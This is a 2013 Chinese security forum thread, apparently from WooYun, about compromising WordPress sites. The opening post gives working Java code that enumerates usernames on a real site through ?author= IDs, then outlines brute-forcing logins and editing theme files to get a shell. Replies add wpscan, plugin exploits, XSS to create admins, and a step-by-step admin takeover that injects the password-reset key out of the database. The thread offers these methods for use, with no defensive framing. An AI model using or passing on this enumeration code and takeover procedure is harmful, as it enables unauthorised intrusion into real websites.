先贴下我的抓取wordpress 用户脚本

import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
/**
* WordpressGetUser
* Group 类 用于匹配和抓取 html页面的数据
* @author itleaf - http://blog.itleaf.info
*/
public class wpUserCollection {

  public static void main(String[] args) {
    int set=1116 ;//设定循环次数
        int i=1;
        //for循环获得所有用户
        for(i=1;i<=set;i++){
          String strUrl = "http://drops.wooyun.org/?author="+i;
            try {
                URL url = new URL(strUrl);
                InputStreamReader isr = new InputStreamReader(url.openStream(),"utf-8"); // 统一使用utf-8 编码模式
                 // 使用 BufferedReader 来读取 InputStreamReader 转换成的字符
                BufferedReader br = new BufferedReader(isr);
                String strRead = ""; // 新增一个空字符串strRead来装载 BufferedReader 读取到的内容
                 // 定义正则 用于匹配我们需要的数据
                String regularUser = ">[^<>]*</title>";
                // 创建一个GroupMethod类的对象 gMethod 方便后期调用其类里的 regularGroup方法
                GroupMethod gMethod = new GroupMethod();
                while ((strRead = br.readLine()) != null) {
                    /**
                     * 用于获取用户名
                     */
                  String strGet = gMethod.regularGroup(regularUser, strRead);
                   if (!strGet.equals("")) {
                         //这里同样用到了substring方法 来剔除'<' 和 "</a>" 标签 来获取我们想要结果
                     strGet = strGet.substring(1, strGet.indexOf(" "));
                     File file = new File("e://wpUser.txt");
                     FileWriter out =new FileWriter(file, true);
                     out.write(strGet+"\r\n");//追加换行保存到
                     out.close();
                         System.out.println(strGet);
                     }
                }
                br.close(); // 读取完成后关闭读取器
            } catch (IOException e) {
                System.out.println("出错了,没有此用户!");
            }

        }

    }
}
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class GroupMethod {
    // 传入2个字符串参数 一个是pattern(我们使用的正则) 另一个matcher是html源代码
    public String regularGroup(String pattern, String matcher) {
        Pattern p = Pattern.compile(pattern, Pattern.CASE_INSENSITIVE);
        Matcher m = p.matcher(matcher);
        if (m.find()) { // 如果读到
            return m.group();// 返回捕获的数据
        } else {
            return ""; // 否则返回一个空字符串
        }
    }
}

在没0day的情况下我的思路只有是搜集用户——爆破——爆破成功——改主题文件/上传主题包等——shell

不过有时会遇到/wp-admin/目录ip访问限制,bae、sae等环境就麻烦了~

不过在管理者跟编辑的权限下是可以贴script等标签的(如:评论框,target.com/wp-login.php即可登录,无法访问后台),之后我就不知到怎么玩了~

求交流~

[原文地址]

相关讨论:

1#

无敌L.t.H (:?门安天京北爱我) | 2013-09-12 16:22

爆破……

2#

itleaf (? 你死晕) | 2013-09-12 16:24

@无敌L.t.H 当然可以结合社工库等...

3#

船长 (0day溢出大量放送,点击右边感谢,马上送出) | 2013-09-12 17:10

@itleaf 高端大气上档次

4#

Wdot (任意帖子感谢我一下,私信你一个xss.tw邀请码~) | 2013-09-12 17:22

跟我一个思路

5#

erevus (我的乌云币都在小号上,小号不是绑定我QQ,别盗我号) | 2013-09-12 17:35

http://erevus.sinaapp.com/?p=401

6#

itleaf (? 你死晕) | 2013-09-12 17:54

@itleaf @Wdot @erevus 我这代码就是搜集wordpress用户名的....我的难处在

不过有时会遇到/wp-admin/目录ip访问限制,bae、sae等环境就麻烦了~

不过在管理者跟编辑的权限下是可以贴script等标签的(如:评论框,target.com/wp-login.php即可登录,无法访问后台),之后我就不知到怎么玩了~

我的思路:可以xss加wordpress管理员或者上传文件或者改默认主题404.php(在可写权限下)

不过仅仅思路而已~

7#

winsyk | 2013-09-12 18:42

这个思路比较老了。。

8#

落叶纷飞 (im luoye,Once the 00day) | 2013-09-12 19:34

又是一个经常做鹰犬任务的同行,哈哈

9#

中国公民 (拿shell容易,拖库难~) | 2013-09-12 19:37

wpscan不就什么都搞定了吗?

10#

Skull (第一次。) | 2013-09-12 19:37

kali linux 不是有么

11#

solihat (xxooooxx) | 2013-09-12 21:11

搜集用户,然后爆破或社工

wpscan

12#

微尘 | 2013-09-12 21:14

WP博客的漏洞不是都在插件吗

13#

dream | 2013-09-12 22:22

版本更新,旧版WordPress < 3.6.1 PHP Object Injection,

14#

Black.Key | 2013-09-12 22:30

一、寻找插件漏洞入手,因为wp本身的漏洞很少,而插件爆的漏洞却很多。各种注入,像之前的timthumb插件的爆的漏洞,直接可以拿到shell

二、社工,这个不多说

三、从数据库方面入手,因为管理员对mysql的漏洞一般打补丁都不及时

下面是拿到数据库,进后台的方法,缺点是没有隐蔽性。

wp的找回密码系统对管理员账户同样生效, 而发送至邮箱的key在数据库中同样保存下来, 所以就可以直接更改管理员密码。

步骤如下:

1、inject出wp-users表里ID为1[或许更改, 随机应变]的user_login或user_email; [未知管理员后台账户的情况下]

2、在wp-login.php处点击 ‘忘记密码’ [lost password],如果被隐藏或没有可以直接访问wp-login.php?action=lostpassword页面, 输入管理员账户或管理员邮箱, 点击’获取新密码’

3、再次inject出wp-users表里ID为1或目标值的user_activation_key

4、访问wp-login.php?action=rp&key=KEY&login=NAME

5、将KEY替换为注射出的user_activation_key的值, 将NAME替换为管理员账号并访问该页面

-例:http://test.com/wp-login.php?action=rp&key=ixUrwKCCycGqlGwWQ6vx&login=admin

15#

ACGT | 2013-09-12 23:10

同意楼上,应该先扫插件

16#

p00rworks | 2013-09-12 23:36

掃插件 相當坑爹!!!!!!!掃了n會 沒有成功過!!